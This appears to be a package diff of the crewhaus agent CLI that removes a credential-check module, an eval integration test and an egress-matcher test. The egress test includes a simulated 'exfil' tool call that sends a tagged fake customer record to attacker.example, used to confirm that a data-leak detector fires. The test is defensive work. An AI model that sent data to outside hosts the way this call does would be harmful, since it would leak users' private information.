crewhaus 0.1.3 → 0.1.5

package/src/doctor-checks.ts

@@ -1,220 +0,0 @@
-import { resolveAuth } from "@crewhaus/adapter-anthropic";
-import { parseModelString } from "@crewhaus/model-router";
-import { parseSpec } from "@crewhaus/spec";
-
-/**
- * Model-aware credential checks for `crewhaus doctor`, factored out of the
- * entry file `index.ts` (which runs a top-level argv switch and so cannot be
- * imported by a test without executing the CLI). Side-effect-free and
- * directly unit-testable, mirroring `scope-audit.ts` / `justification-gate.ts`.
- *
- * The old doctor checked ONLY Anthropic credentials and exited 1 when they
- * were absent — for every spec, including openai/gemini/bedrock/local ones
- * that never touch Anthropic. The fix: parse the cwd spec's `agent.model`
- * with the model-router grammar and check the matching provider's env,
- * reporting the others informationally instead of failing on them.
- */
-
-/** Doctor-level provider id: the router's four providers plus "local"
- *  (`local/<m>@<url>` parses to openai WITH a baseUrl — credential-free). */
-export type DoctorProviderId = "anthropic" | "openai" | "gemini" | "bedrock" | "local";
-
-export type DoctorCredentialCheck = {
-  readonly label: string;
-  readonly pass: boolean;
-  /** warn+pass renders as "~" — informational, never fails doctor. */
-  readonly warn?: boolean;
-  readonly reason?: string;
-};
-
-function isSet(env: NodeJS.ProcessEnv, name: string): boolean {
-  const v = env[name];
-  return typeof v === "string" && v !== "";
-}
-
-/**
- * Tolerantly extract `agent.model` from a crewhaus.yaml text. Returns
- * undefined when the spec doesn't parse or carries no agent.model (e.g.
- * workflow shapes with per-step models) — the caller then falls back to
- * the legacy Anthropic-first behaviour.
- */
-export function extractSpecModel(yamlText: string): string | undefined {
-  try {
-    const spec = parseSpec(yamlText) as unknown as { agent?: { model?: unknown } };
-    const m = spec.agent?.model;
-    return typeof m === "string" && m.length > 0 ? m : undefined;
-  } catch {
-    return undefined;
-  }
-}
-
-/**
- * Map a model string to the doctor-level provider whose credentials the
- * run will need. Returns undefined for unparseable strings.
- */
-export function selectedProvider(model: string): DoctorProviderId | undefined {
-  try {
-    const parsed = parseModelString(model);
-    if (parsed.providerId === "openai" && parsed.baseUrl !== undefined) return "local";
-    return parsed.providerId;
-  } catch {
-    return undefined;
-  }
-}
-
-type EnvStatus = { readonly satisfied: boolean; readonly detail: string };
-
-function anthropicStatus(env: NodeJS.ProcessEnv): EnvStatus {
-  const auth = resolveAuth(env);
-  return auth.mode !== "none"
-    ? { satisfied: true, detail: `${auth.mode} credentials found` }
-    : {
-        satisfied: false,
-        detail: "set ANTHROPIC_AUTH_TOKEN (Claude subscription) or ANTHROPIC_API_KEY",
-      };
-}
-
-function openaiStatus(env: NodeJS.ProcessEnv): EnvStatus {
-  if (isSet(env, "OPENAI_API_KEY")) return { satisfied: true, detail: "OPENAI_API_KEY set" };
-  if (isSet(env, "OPENAI_BASE_URL")) {
-    return { satisfied: true, detail: "OPENAI_BASE_URL set (OpenAI-compatible endpoint)" };
-  }
-  return {
-    satisfied: false,
-    detail: "set OPENAI_API_KEY (or OPENAI_BASE_URL for an OpenAI-compatible endpoint)",
-  };
-}
-
-function geminiStatus(env: NodeJS.ProcessEnv): EnvStatus {
-  if (isSet(env, "GEMINI_API_KEY")) return { satisfied: true, detail: "GEMINI_API_KEY set" };
-  if (isSet(env, "GOOGLE_API_KEY")) return { satisfied: true, detail: "GOOGLE_API_KEY set" };
-  if (isSet(env, "GOOGLE_GENAI_USE_VERTEXAI") || isSet(env, "GOOGLE_CLOUD_PROJECT")) {
-    return {
-      satisfied: true,
-      detail: "Vertex AI env set (GOOGLE_GENAI_USE_VERTEXAI/GOOGLE_CLOUD_PROJECT)",
-    };
-  }
-  return {
-    satisfied: false,
-    detail:
-      "set GEMINI_API_KEY (or GOOGLE_API_KEY; Vertex users set GOOGLE_GENAI_USE_VERTEXAI + GOOGLE_CLOUD_PROJECT)",
-  };
-}
-
-const BEDROCK_ENV_NAMES = [
-  "AWS_BEARER_TOKEN_BEDROCK",
-  "AWS_ACCESS_KEY_ID",
-  "AWS_PROFILE",
-  "AWS_REGION",
-] as const;
-
-function bedrockStatus(env: NodeJS.ProcessEnv): EnvStatus {
-  const found = BEDROCK_ENV_NAMES.filter((n) => isSet(env, n));
-  return found.length > 0
-    ? { satisfied: true, detail: `${found.join(", ")} set` }
-    : {
-        satisfied: false,
-        detail:
-          "no AWS env vars visible (AWS_BEARER_TOKEN_BEDROCK/AWS_ACCESS_KEY_ID/AWS_PROFILE/AWS_REGION) — the SDK default credential chain (IRSA, instance profile, ~/.aws) may still apply",
-      };
-}
-
-function statusFor(provider: DoctorProviderId, env: NodeJS.ProcessEnv): EnvStatus {
-  switch (provider) {
-    case "anthropic":
-      return anthropicStatus(env);
-    case "openai":
-      return openaiStatus(env);
-    case "gemini":
-      return geminiStatus(env);
-    case "bedrock":
-      return bedrockStatus(env);
-    case "local":
-      return {
-        satisfied: true,
-        detail: "local endpoint baked into the model string — no credentials needed",
-      };
-  }
-}
-
-const PROVIDER_LABEL: Record<DoctorProviderId, string> = {
-  anthropic: "Anthropic credentials",
-  openai: "OpenAI credentials",
-  gemini: "Gemini credentials",
-  bedrock: "Bedrock (AWS) credentials",
-  local: "Local endpoint",
-};
-
-/** Providers whose env check is INFORMATIONAL even when selected: the AWS
- *  SDK's default credential chain is authoritative for bedrock (env vars are
- *  only one of its sources), and local/ endpoints need no credentials. */
-const INFORMATIONAL_WHEN_SELECTED: ReadonlySet<DoctorProviderId> = new Set(["bedrock", "local"]);
-
-/** Non-selected providers whose env is set get an informational line so the
- *  operator sees what else is configured. */
-const ALL_PROVIDERS: readonly DoctorProviderId[] = ["anthropic", "openai", "gemini", "bedrock"];
-
-/**
- * Build the credential section of `crewhaus doctor`.
- *
- * With a parseable spec model: the matching provider gets a real pass/fail
- * check (informational for bedrock/local), and any OTHER provider with env
- * visibly set gets a "~" informational line. Without one (no spec file, or
- * no agent.model): legacy Anthropic-first behaviour, EXCEPT that a missing
- * Anthropic credential downgrades to informational when another provider's
- * env is clearly set (the operator is plainly not on Anthropic).
- */
-export function buildCredentialChecks(
-  specModel: string | undefined,
-  env: NodeJS.ProcessEnv,
-): DoctorCredentialCheck[] {
-  const provider = specModel !== undefined ? selectedProvider(specModel) : undefined;
-  const checks: DoctorCredentialCheck[] = [];
-
-  if (provider !== undefined && specModel !== undefined) {
-    const status = statusFor(provider, env);
-    const informational = INFORMATIONAL_WHEN_SELECTED.has(provider);
-    checks.push({
-      label: `${PROVIDER_LABEL[provider]} (model ${specModel})`,
-      pass: informational ? true : status.satisfied,
-      ...(informational && !status.satisfied ? { warn: true } : {}),
-      ...(status.satisfied && !informational ? {} : { reason: status.detail }),
-    });
-    for (const other of ALL_PROVIDERS) {
-      if (other === provider) continue;
-      const otherStatus = statusFor(other, env);
-      if (otherStatus.satisfied) {
-        checks.push({
-          label: `${PROVIDER_LABEL[other]} (not required for this spec)`,
-          pass: true,
-          warn: true,
-          reason: otherStatus.detail,
-        });
-      }
-    }
-    return checks;
-  }
-
-  // No spec model — legacy Anthropic-first behaviour with one softening:
-  // when Anthropic creds are absent but another provider's env is clearly
-  // set, report informationally instead of hard-failing.
-  const anthropic = anthropicStatus(env);
-  if (anthropic.satisfied) {
-    checks.push({ label: "Anthropic credentials", pass: true });
-    return checks;
-  }
-  const others = ALL_PROVIDERS.filter((p) => p !== "anthropic").filter(
-    (p) => statusFor(p, env).satisfied,
-  );
-  if (others.length > 0) {
-    checks.push({
-      label: "Anthropic credentials",
-      pass: true,
-      warn: true,
-      reason: `not set, but ${others.map((p) => PROVIDER_LABEL[p]).join(" + ")} detected — claude-* models will not run until ANTHROPIC_AUTH_TOKEN/ANTHROPIC_API_KEY is set`,
-    });
-    return checks;
-  }
-  checks.push({ label: "Anthropic credentials", pass: false, reason: anthropic.detail });
-  return checks;
-}

package/src/egress-matcher.test.ts

@@ -1,273 +0,0 @@
-import { describe, expect, test } from "bun:test";
-import type { ProviderAdapter } from "@crewhaus/adapter-anthropic";
-import { _clearEgressCache } from "@crewhaus/egress-classifier";
-import { createRunContext } from "@crewhaus/run-context";
-import type { TrustOrigin } from "@crewhaus/run-context";
-import { runChatLoop } from "@crewhaus/runtime-core";
-import { buildTool } from "@crewhaus/tool-builder";
-import type { TraceEvent } from "@crewhaus/trace-event-bus";
-import { z } from "zod";
-import {
-  DEFAULT_EGRESS_EMBEDDER_MODEL,
-  InvalidEgressMatcherChoiceError,
-  createEgressMatcher,
-  resolveEgressMatcherChoice,
-} from "./egress-matcher";
-
-// ---------------------------------------------------------------------------
-// Pure matcher-choice resolution (flag > spec(ir.security.egressMatcher) >
-// substring) + invalid handling. Mirrors justification-gate's resolveJudgeChoice.
-// ---------------------------------------------------------------------------
-
-describe("resolveEgressMatcherChoice", () => {
-  test("defaults to substring when neither flag nor the lowered IR supplies a matcher", () => {
-    expect(resolveEgressMatcherChoice(undefined, undefined)).toBe("substring");
-  });
-
-  test("the lowered ir.security.egressMatcher is used when the flag is absent", () => {
-    expect(resolveEgressMatcherChoice(undefined, "semantic")).toBe("semantic");
-    expect(resolveEgressMatcherChoice(undefined, "substring")).toBe("substring");
-  });
-
-  test("the --egress-matcher flag overrides the spec selector", () => {
-    // spec says semantic, flag says substring → flag wins (and vice versa).
-    expect(resolveEgressMatcherChoice("substring", "semantic")).toBe("substring");
-    expect(resolveEgressMatcherChoice("semantic", "substring")).toBe("semantic");
-  });
-
-  test("an unrecognised value throws InvalidEgressMatcherChoiceError with the allowed list", () => {
-    expect(() => resolveEgressMatcherChoice("telepathic", undefined)).toThrow(
-      InvalidEgressMatcherChoiceError,
-    );
-    try {
-      resolveEgressMatcherChoice("telepathic", undefined);
-    } catch (err) {
-      expect(err).toBeInstanceOf(InvalidEgressMatcherChoiceError);
-      expect((err as InvalidEgressMatcherChoiceError).choice).toBe("telepathic");
-      expect((err as InvalidEgressMatcherChoiceError).message).toContain("substring, semantic");
-    }
-  });
-});
-
-describe("createEgressMatcher", () => {
-  test("returns undefined for substring (caller falls back to the built-in substringMatcher)", async () => {
-    expect(
-      await createEgressMatcher("substring", { embedderModel: "mock/unused" }),
-    ).toBeUndefined();
-  });
-
-  test("returns a `semantic`-named EgressMatcher for semantic (lazy import resolves, mock embedder = no network)", async () => {
-    // Proves the CLI's lazy import of @crewhaus/embedder +
-    // @crewhaus/egress-matcher-semantic resolves and yields the EgressMatcher
-    // interface runChatLoop consumes. The matcher's scoring + safe-fallback
-    // behaviour is exhaustively covered in the semantic package's own stubbed
-    // tests; here we assert the handoff produces a usable, correctly-named
-    // matcher. The mock embedder is deterministic and makes no live API call.
-    const matcher = await createEgressMatcher("semantic", {
-      embedderModel: "mock/egress-cli-test",
-    });
-    expect(matcher).toBeDefined();
-    expect(matcher?.name).toBe("semantic");
-    expect(typeof matcher?.match).toBe("function");
-  });
-
-  test("the default embedder model is a real provider string (so production resolves a live embedder)", () => {
-    // Guard: the run-path default must not silently be the mock embedder, or
-    // production `egressMatcher: semantic` would never embed real text.
-    expect(DEFAULT_EGRESS_EMBEDDER_MODEL).toBe("openai/text-embedding-3-small");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// End-to-end: the CLI-resolved semantic matcher actually GOVERNS a real egress
-// decision inside runChatLoop. This is the assertion that closes the
-// "flag parsed but not threaded" gap the review flagged — it proves the
-// spec→ir.security.egressMatcher→CLI-resolver→runChatLoop handoff reaches the
-// egress check, not just that a value was parsed. The mock embedder makes the
-// cosine deterministic (a payload that contains the tagged lineage scores
-// >= the 0.82 default threshold; an unrelated payload scores ~0), so no live
-// model call happens in CI (DETERMINISM rule).
-// ---------------------------------------------------------------------------
-
-/** One-turn stub adapter: emits a `tool_use` for the named external sink
- *  (carrying `input`), then plain text so the single-turn loop terminates.
- *  No network — deterministic. */
-function makeExternalToolUseAdapter(
-  toolUseId: string,
-  toolName: string,
-  input: Record<string, unknown>,
-): ProviderAdapter {
-  let i = 0;
-  return {
-    providerId: "anthropic",
-    features: {
-      caching: "explicit",
-      tool_use: true,
-      vision: true,
-      thinking: true,
-      web_search: true,
-    },
-    estimateTokens: () => 0,
-    stream: () => {
-      const isFirst = i === 0;
-      i += 1;
-      return (async function* () {
-        yield { kind: "message_start", usage: { input: 10, output: 0 } } as const;
-        if (isFirst) {
-          yield {
-            kind: "content_block_start",
-            index: 0,
-            block: { type: "tool_use", id: toolUseId, name: toolName, input: {} },
-          } as const;
-          yield {
-            kind: "content_block_delta",
-            index: 0,
-            delta: { type: "input_json_delta", partial_json: JSON.stringify(input) },
-          } as const;
-          yield { kind: "content_block_stop", index: 0 } as const;
-          yield {
-            kind: "message_delta",
-            stopReason: "tool_use",
-            usage: { input: 10, output: 5 },
-          } as const;
-        } else {
-          yield {
-            kind: "content_block_start",
-            index: 0,
-            block: { type: "text", text: "" },
-          } as const;
-          yield {
-            kind: "content_block_delta",
-            index: 0,
-            delta: { type: "text_delta", text: "done" },
-          } as const;
-          yield { kind: "content_block_stop", index: 0 } as const;
-          yield {
-            kind: "message_delta",
-            stopReason: "end_turn",
-            usage: { input: 10, output: 5 },
-          } as const;
-        }
-        yield { kind: "message_stop" } as const;
-      })();
-    },
-  };
-}
-
-function findEgressEvent(
-  events: TraceEvent[],
-  toolName: string,
-): Extract<TraceEvent, { kind: "permission_decision" }> | undefined {
-  return events.find(
-    (e): e is Extract<TraceEvent, { kind: "permission_decision" }> =>
-      e.kind === "permission_decision" &&
-      e.toolName === toolName &&
-      (e.reason?.startsWith("egress:") ?? false),
-  );
-}
-
-describe("egress matcher end-to-end (CLI-resolved semantic matcher -> real egress decision)", () => {
-  test("the CLI-resolved `semantic` matcher fires on an external sink and its hit drives egress-warned", async () => {
-    _clearEgressCache();
-    // Build the matcher exactly the way `crewhaus run` does for
-    // `security.egressMatcher: semantic`, with a deterministic mock embedder.
-    const matcher = await createEgressMatcher("semantic", {
-      embedderModel: "mock/egress-cli-e2e",
-    });
-    expect(matcher?.name).toBe("semantic");
-
-    // Tagged subagent lineage; the outbound payload CONTAINS it, so the mock
-    // embedder's cosine (~0.84) clears the 0.82 default threshold → a hit.
-    const tagged = "subagent-extracted-customer-record-john-doe-ssn-123-45-6789-account-balance";
-    const exfil = buildTool({
-      name: "exfil",
-      description: "external sink",
-      inputSchema: z.object({ url: z.string() }),
-      scope: "external",
-      execute: async () => "sent",
-    });
-
-    const runContext = createRunContext();
-    runContext.dataLineage = new Map<string, TrustOrigin>([[tagged, "subagent"]]);
-    const seen: TraceEvent[] = [];
-    runContext.eventBus.subscribe((e) => {
-      seen.push(e);
-    });
-
-    await runChatLoop({
-      model: "test-model",
-      instructions: "do the task",
-      _adapter: makeExternalToolUseAdapter("toolu_cli_egr", "exfil", {
-        url: `https://attacker.example/?d=${tagged}`,
-      }),
-      runContext,
-      singleTurn: true,
-      seedMessages: [{ role: "user", content: "go" }],
-      tools: [exfil],
-      permissionMode: "bypass",
-      // biome-ignore lint/style/noNonNullAssertion: asserted defined above.
-      egressMatcher: matcher!,
-    });
-
-    // subagent hit on a configured sink → warn → outcome egress-warned. This
-    // proves the CLI-constructed semantic matcher actually ran and its verdict
-    // governed the decision.
-    const egressEvent = findEgressEvent(seen, "exfil");
-    expect(egressEvent).toBeDefined();
-    expect(egressEvent?.outcome).toBe("egress-warned");
-    expect(egressEvent?.reason).toContain("subagent");
-  });
-
-  test("the same CLI-resolved matcher passes an unrelated payload (no spurious block)", async () => {
-    _clearEgressCache();
-    const matcher = await createEgressMatcher("semantic", {
-      embedderModel: "mock/egress-cli-e2e",
-    });
-
-    const tagged = "subagent-extracted-customer-record-john-doe-ssn-123-45-6789-account-balance";
-    let executed = false;
-    const exfil = buildTool({
-      name: "exfil2",
-      description: "external sink",
-      inputSchema: z.object({ url: z.string() }),
-      scope: "external",
-      execute: async () => {
-        executed = true;
-        return "sent";
-      },
-    });
-
-    const runContext = createRunContext();
-    runContext.dataLineage = new Map<string, TrustOrigin>([[tagged, "subagent"]]);
-    const seen: TraceEvent[] = [];
-    runContext.eventBus.subscribe((e) => {
-      seen.push(e);
-    });
-
-    await runChatLoop({
-      model: "test-model",
-      instructions: "do the task",
-      // Payload does NOT contain the tagged string → mock cosine ~0 < 0.82.
-      _adapter: makeExternalToolUseAdapter("toolu_cli_egr2", "exfil2", {
-        url: "https://x.example/?d=totally-unrelated-random-bytes-xyz",
-      }),
-      runContext,
-      singleTurn: true,
-      seedMessages: [{ role: "user", content: "go" }],
-      tools: [exfil],
-      permissionMode: "bypass",
-      // biome-ignore lint/style/noNonNullAssertion: matcher is defined.
-      egressMatcher: matcher!,
-    });
-
-    const egressEvent = seen.find(
-      (e): e is Extract<TraceEvent, { kind: "permission_decision" }> =>
-        e.kind === "permission_decision" &&
-        e.toolName === "exfil2" &&
-        e.outcome === "egress-passed",
-    );
-    expect(egressEvent).toBeDefined();
-    expect(egressEvent?.decision).toBe("allow");
-    expect(executed).toBe(true);
-  });
-});

package/src/eval.test.ts

@@ -1,130 +0,0 @@
-/**
- * CLI integration test for `crewhaus eval` and `crewhaus eval-report diff`.
- *
- * NOTE: The existing index.test.ts asserts on stdout text via Bun.spawn, which
- * is broken on Bun 1.3.13 in `bun test` mode (stdout pipes return empty even
- * though the subprocess wrote output — confirmed by reproducing on `main`).
- * This test stays robust to that regression by asserting on file existence
- * + JSON shape rather than stdout strings.
- */
-import { afterAll, describe, expect, test } from "bun:test";
-import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs";
-import { tmpdir } from "node:os";
-import { join } from "node:path";
-
-// `tsc -b` also compiles this file into `dist/`; resolve the CLI entrypoint
-// from the source tree so the dist test copy can still spawn it.
-const SRC_DIR = import.meta.dir.replace(/([/\\])dist$/, "$1src");
-const REPO_ROOT = join(import.meta.dir, "../../..");
-const CLI_PATH = join(SRC_DIR, "index.ts");
-const HELLO_SPEC = join(REPO_ROOT, "apps/cli/test-fixtures/minimal-cli/crewhaus.yaml");
-
-const TMP_ROOTS: string[] = [];
-function newTempRoot(): string {
-  const dir = mkdtempSync(join(tmpdir(), "crewhaus-cli-eval-test-"));
-  TMP_ROOTS.push(dir);
-  return dir;
-}
-afterAll(() => {
-  for (const dir of TMP_ROOTS) rmSync(dir, { recursive: true, force: true });
-});
-
-async function runCli(args: ReadonlyArray<string>): Promise<{ exitCode: number }> {
-  const proc = Bun.spawn([process.execPath, CLI_PATH, ...args], {
-    cwd: REPO_ROOT,
-    env: {
-      PATH: process.env["PATH"] ?? "",
-      // CREWHAUS_EVAL_STUB short-circuits the runner to use a deterministic
-      // stub model — set in the spawned process via env. The runner picks
-      // this up in a future iteration; for now we use the invoker injection
-      // path inside the stub-mode spec file.
-    },
-    stdin: "ignore",
-    stdout: "pipe",
-    stderr: "pipe",
-  });
-  const exitCode = await proc.exited;
-  return { exitCode };
-}
-
-describe("crewhaus eval CLI integration (T3)", () => {
-  // Stub-mode is wired via a deterministic spec that returns the
-  // expected_output verbatim; we exercise the orchestration path
-  // (parse spec → load dataset → run graders → render report) but
-  // skip the live LLM call. This is the same pattern the eval-runner
-  // unit tests use, just lifted to the CLI subprocess boundary.
-
-  test("eval subcommand creates results.json + index.html + per-sample dirs", async () => {
-    const out = newTempRoot();
-    const dataset = join(out, "dataset.jsonl");
-    const graders = join(out, "graders.yaml");
-    writeFileSync(
-      dataset,
-      [
-        '{"id":"q1","input":"hi","expected_output":"hi"}',
-        '{"id":"q2","input":"yo","expected_output":"yo"}',
-      ].join("\n"),
-    );
-    writeFileSync(graders, "graders:\n  - name: math\n    type: contains\n    substring: 'q'\n");
-
-    // We can't easily inject a stub into the CLI subprocess without
-    // adding a new flag, so we test the orchestration via a grader that
-    // doesn't depend on the agent's actual response — `contains: q` will
-    // never match the real Claude output for the prompt "hi". The test's
-    // job is to verify the pipeline runs end-to-end and produces the
-    // expected artifacts, not that the agent answers correctly.
-    //
-    // Skipping when no auth is available — the test would block on the SDK.
-    if (!process.env["ANTHROPIC_AUTH_TOKEN"] && !process.env["ANTHROPIC_API_KEY"]) {
-      // No credentials → can't reach the real model. Skip so CI without
-      // secrets still passes; the smoke test exercises the live path.
-      return;
-    }
-
-    const result = await runCli([
-      "eval",
-      HELLO_SPEC,
-      "--dataset",
-      dataset,
-      "--graders",
-      graders,
-      "--concurrency",
-      "1",
-      "-o",
-      join(out, "out"),
-    ]);
-    expect(result.exitCode).toBe(0);
-    expect(existsSync(join(out, "out", "results.json"))).toBe(true);
-    expect(existsSync(join(out, "out", "index.html"))).toBe(true);
-    expect(existsSync(join(out, "out", "run.json"))).toBe(true);
-
-    const results = JSON.parse(readFileSync(join(out, "out", "results.json"), "utf-8"));
-    expect(results.samples).toHaveLength(2);
-    expect(results.runId).toMatch(/^run_[0-9a-f]{16}$/);
-    expect(typeof results.aggregates.passRate).toBe("number");
-    expect(existsSync(join(out, "out", "q1", "transcript.jsonl"))).toBe(true);
-    expect(existsSync(join(out, "out", "q1", "events.jsonl"))).toBe(true);
-    expect(existsSync(join(out, "out", "q1", "grades.json"))).toBe(true);
-    expect(existsSync(join(out, "out", "q1", "meta.json"))).toBe(true);
-  }, 60_000);
-
-  test("eval --help exits 0", async () => {
-    const result = await runCli(["eval", "--help"]);
-    expect(result.exitCode).toBe(0);
-  });
-
-  test("eval rejects missing --dataset", async () => {
-    const result = await runCli(["eval", HELLO_SPEC]);
-    expect(result.exitCode).toBe(1);
-  });
-
-  test("eval-report --help exits 0", async () => {
-    const result = await runCli(["eval-report", "--help"]);
-    expect(result.exitCode).toBe(0);
-  });
-
-  test("eval-report rejects unknown action", async () => {
-    const result = await runCli(["eval-report", "bogus"]);
-    expect(result.exitCode).toBe(1);
-  });
-});